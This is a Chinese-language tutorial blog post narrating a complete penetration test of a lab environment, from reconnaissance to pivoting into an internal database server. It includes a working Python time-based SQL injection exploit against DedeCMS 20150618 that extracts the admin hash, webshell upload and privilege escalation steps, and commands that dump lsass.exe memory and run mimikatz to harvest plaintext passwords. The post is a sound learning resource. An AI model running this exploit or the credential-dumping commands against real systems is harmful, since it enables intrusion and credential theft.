一次完整的渗透测试(文末有福利)

我们学习安全时,常常会一直停留在某一方面,甚至不知道自己接下来要学什么,而提前了解我们整个渗透需要掌握的技术显得至关重要,这样我们在平时的学习中就会更加注重需要掌握的知识,接下来将通过一个完整的渗透过程来讲解我们需要掌握的知识。
环境图片信息收集使用netdiscover探测存活主机图片图片使用nmap扫描存活主机和开放端口图片使用wfuzz扫描子域名图片信息收集的知识点甚多,远远不止这么一点,这只是冰山一角信息收集可以说是渗透过程中最关键的一步,对目标充分的了解,有利于我们对目标进行全面的分析,后续的思路也会更加明确,而在信息收集的过程中,往往收集的信息是非常凌乱的,信息收集的量大这非常考验我们对信息关键内容的提取,有的时候注意一下小小的细节,我们的渗透思路就来了,所以我们在需要时刻做好笔记,将收集到的信息进行整理归纳当然在社会工程学也是不容小觑,有的时候社工一下轻轻松松拿下别人的网站,不过我还不怎么会。
后台的获取
根据前期的信息收集,进入目标织梦网站注册账号## 后台的获取图片织梦cms 的版本是 20150618 存在注入图片网上搜索公开的exp进行获取后台密码的hash图片附上大佬写的exp

import sys,os

import urllib2

import time

opener = urllib2.build_opener()



def getCookes():

    line = open('cookies.txt','r')

    c = line.readline()

    line.close()

    return c



cookie=getCookes()

opener.addheaders.append(('Cookie',cookie))

payloads = '[email protected]_.'



def exploite(target):

    password = ""

    for i in range(1,21):

        for p in payloads:

            s1 = "%s" %(i)

            s2 = "%s" %(ord(p))

            s = target+"/member/mtypes.php?dopost=save&_FILES[mtypename][name]=.xxxx&_FILES[mtypename][type]=xxxxx&_FILES[mtypename][tmp_name][a'%20and%20`'`.``.mtypeid%20or%20if(ascii(substr((select%20pwd%20from%20dede_admin%20limit%201),"+s1+",1))%3d"+s2+",sleep(4),0)%20and%20mtypeid%3d1%23]=w&_FILES[mtypename][size]=.xxxx"

            start_time = time.time()

            try:

                req = urllib2.Request(s)

                req_data=opener.open(req,timeout=20)

                now = time.strftime('%H:%M:%S',time.localtime(time.time()))

                if time.time() - start_time > 4.0:

                    password = password+p

                    print "["+str(now)+"]: "+s1+" -> "+password

            except urllib2.URLError,e:

                print e;

    return password

def myhelp():

    print "n+------------------------------+"

    print "|  Dedecms 20150618 member sqli|"

    print "|  mOon  www.moonsec.com       |"

    print "|  MTEAM:[email protected]      |"

    print "+------------------------------+n"



def main():

    if len(sys.argv)< 2:

        myhelp()

        sys.exit()

    now = time.strftime('%H:%M:%S',time.localtime(time.time()))

    print "["+str(now)+"] [INFO] Dedecms 20150618 member sqli.."

    print "password is %s" % (exploite(sys.argv[1]))



if __name__ == '__main__':

    main()

发现使用md5加密,进行网上解密。
图片我们需要熟悉各种加密算法的特征,遇到不同的密文时我们就能够快速的破解密文。在这一步获取后台,我们是为了下一步webshell服务器,当然也可能直接远程执行命令进行写码或者直接上传文件,但一般前台能进行文件上传的网站很少。此时在我们心中应该要有很多登录后台的方式:SQL注入、xss获取cookie、弱口令、源码泄露进行代码审计、垂直越权、网上公开漏洞、敏感信息泄露、中间件漏洞等等,这些我们都要认真的掌握。
Webshell

登录后台后此时我们需要思考的是如何webshell,可以从各种功能点出发,发现可以上传后门

连接后门,直接webshell网站

我们需要掌握常用的webshell连接工具,如:中国蚁剑、中国菜刀等。

权限提升

当我访问其他文件时权限不够,此时需要做的就是提权

在虚拟终端并不可以执行命令,如果我们需要将shell会话转移到msf中继续往下渗透的话,上传的后门无法执行,说明此时需要上传提权脚本

上传提权脚本

访问上传的asp提权脚本,可以执行命令

生成攻击载荷

而有些目录是无法上传的,此时先上传目录扫描文件,扫描得到可读可写文件

图片上传后门到指定可读写文件,并使用上传的提权脚本进行运行,设置payload,成功反弹。

这里思考一个问题,我们在平常练习中,经常喜欢将直接去目标机中双击后门直接运行,此时与我们上面执行的有什么区别,反弹回来的权限是完全不一样的,在网页上执行该后门返回的只是普通权限,而在目标机中执行返回的却是管理员权限。

由于这里是一个普通权限所以进行提权,搜索可提权的模块

利用提权模块,成功提权

在这里的权限提升中首先我们webshell但得到的权限比较低,无法执行程序,上传提权脚本后,执行程序,反弹到msf中,此时反弹到msf中是为了更好的进行渗透,反弹到msf中此时也还需要进行权限提升,权限提升的方式也分为非常多,我们要尽可能的全部掌握。

由于现在对安全越来越重视,很多产商对各种有攻击性的代码与工具进行了查杀,刚刚使用msfvenom生成的攻击载荷,很有可能被查杀,免杀技术在我们进行渗透过程中是必不可少的,如果一上传到别人服务器上就给杀了,那不是一件很尴尬的事嘛。

所以一般来讲上传的一句好木马、攻击工具等都需要做免杀。

渗透其他网站

往往一台web服务器所包含的网站不止一个,继续扫描ww2.cc123.com的网站目录

找到登录后台的网页,经过测试发现可以用万能密码登录

发现后台存在sql注入,抓取后台登录的包,利用sqlmap进行注入

得到权限后,发现是一个内部ip地址,说明该网站可能是站库分离的网站

利用刚刚上传的提权脚本连接数据库

数据库的种类非常多,我们在渗透过程中不能确定说会碰到那些数据库,所以需要我们掌握数据库的框架、基本操作命令,比如增、删、改查等等。

当前数据库主要有:Oracle,SQL Server,MySQL。

利用Procdump+mimikatz配合获取hash与明文

Procdump是微软官方发布的工具,使用该工具可以绕过大多数的防护软件,procdump.exe把进程lsass.exe 的内存dump下来

将获取的lsass.dmp拷贝到本机上,再使用本机的mimikatz获取hash与明文

下载地址:

https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

进程lsass.exe中存在密码信息,使用Procdump获取lsass.exe中的信息

procdump -accepteula -ma lsass.exe lsass.dmp

导出lsass.dmp

将lsass.dmp导出到本机后,使用mimikatz获取明文密码,这样就可以不用将mimikatz传入到目标机中,可以防止mimikatz被杀的可能性。

1.privilege::debug 提升权限
2.sekurlsa::minidump lsass.dmp 用mimikatz载入lsass.dmp
3.sekurlsa::logonPasswords full 获取明文密码和hash

为什么要获取明文和hash呢?

因为在域渗透的过程中可以利用获取到的明文或者hash进行横向传递攻击,由于我这里环境并不是域环境,无法演示,还有各个服务器的网站后台登录等等,都有可能用得到,很多时候大多数密码都是相同的

所以获取明文或者hash可以为我们接下来进行渗透提供很大帮助,而获取明文和hash的方式非常多种,有的时候甚至要自己编写工具。

明文和hash获取请参考:
https://forum.butian.net/share/259
https://forum.butian.net/share/310

域横向传递传递攻击请参考:
https://forum.butian.net/share/257
https://www.cnblogs.com/zzjdbk/p/14507846.html

多重网段内网渗透

获取路由信息,添加路由信息

在整个渗透过程中,我们需要了解基本的网络拓扑,在绝大多数高校和培训机构,开始上的课都是初级网络知识,需要我们对整个网络组成能够有清楚的认识,我上的课中有CCNA、HCIA、TCP/IP协议分析,就好比这里为什么要添加路由,我如何与其他网段进行通信,这就是基本的初级网络知识。

所以如果是在前期的学习中,有上这些知识的课还是要认真学,其中TCP/IP协议分析,在我们安全方面也是很重要的。

使用socks代理隧道技术

使用proxychains设置代理

这里采用的是socks4a隧道代理技术,相对来讲使用该隧道代理技术并不是很稳定,但操作简单

而使用socks5代理隧道技术很稳定,但却还要在被控制端操作,操作稍微优点复杂。

代理技术有非常多,有的时候我们为了隐蔽自己,常常使用网上的代理地址,好比进行子域名爆破、密码破解等等。

使用Ngrok、Ssh、autossh、Natapp、Frp、Lanproxy、Spike、花生壳工具等工具搭建代理服务器进行内网穿透等等,需要我们在公网搭建实体机。

这些内网穿透的代理工具不一定要全部掌握,但要对其中几款能够熟练使用。

代理技术请参考:
https://sspai.com/post/52523
https://forum.butian.net/share/330
继续使用nmap扫描目标主机的开放端口
图片

上传攻击负载到mysql数据库

msf设置载荷

执行攻击负载

msf成功获取到数据库权限,这里是通过web服务器为跳板,攻击数据库服务器。

如果数据库下面还有其他服务器则大致内容也差不多是这样。

在渗透中msf与cobalt strike都是相当重要的,可以说是必学,涉及的内容是相当多的,这里没有使用到cobaltstrike,但是msf与cobaltstrikes联动可以将各个功能结合在一起。

请参考:
https://www.freesion.com/article/1182816201/
https://www.freebuf.com/company-information/167460.html
https://www.cnblogs.com/dogecheng/p/11450423.html

总结
通过本次渗透实例,希望能够给我们启发,要进行全渗透,可以说每一个环节都是环环相扣,提前明确自己需要掌握的内容,一个一个进行攻破,知识点进行扩宽,就会收获很多,希望能够与你们一起进步,不管自己亦强亦或弱,继续向前走就是了。
访问破百福利:安全相关电子书:–来自百度网盘超级会员V2的分享
hi,这是我用百度网盘分享的内容~复制这段内容打开「百度网盘」APP即可获取
链接:https://pan.baidu.com/s/1q3qjnQCqKAi-MoZZN8xfiQ?pwd=ybjz
提取码:ybjz

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>